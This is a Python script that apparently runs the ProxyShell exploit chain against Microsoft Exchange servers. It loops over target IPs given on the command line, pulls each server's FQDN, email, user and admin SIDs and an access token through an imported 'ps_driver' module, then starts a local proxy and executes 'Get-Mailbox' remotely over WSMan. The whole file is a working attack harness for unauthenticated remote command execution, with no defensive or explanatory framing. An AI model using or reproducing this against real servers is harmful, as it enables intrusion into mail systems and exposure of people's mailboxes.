#!/usr/bin/env python3
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

for ip in sys.argv[1:]:
    print("="*60); print("TARGET", ip)
    try:
        ps = P.ProxyShell(f"https://{ip}", timeout=15)
        ps.get_fqdn(); print(" fqdn:", getattr(ps,'fqdn',None), "| host:", getattr(ps,'host',None))
        ps.get_legacydn(); print(" email:", getattr(ps,'email',None))
        ps.get_sid(); print(" sid:", getattr(ps,'sid',None), "admin:", getattr(ps,'admin_sid',None))
        ok = ps.get_token(); print(" token:", "OK" if ok else "FAIL")
        port = random.randint(20000, 40000)
        P.start_server(ps, port); time.sleep(1)
        try:
            o, e = P.wsman_shell('Get-Mailbox -ResultSize 3', port)
            print(" Get-Mailbox OUT:")
            for x in o: print("   ", str(x)[:200])
            if e: print("   ERR:", [str(x)[:200] for x in e])
        except Exception as ex: print(" wsman EXC:", str(ex)[:150])
    except Exception as ex:
        print(" CHAIN EXC:", type(ex).__name__, str(ex)[:150])
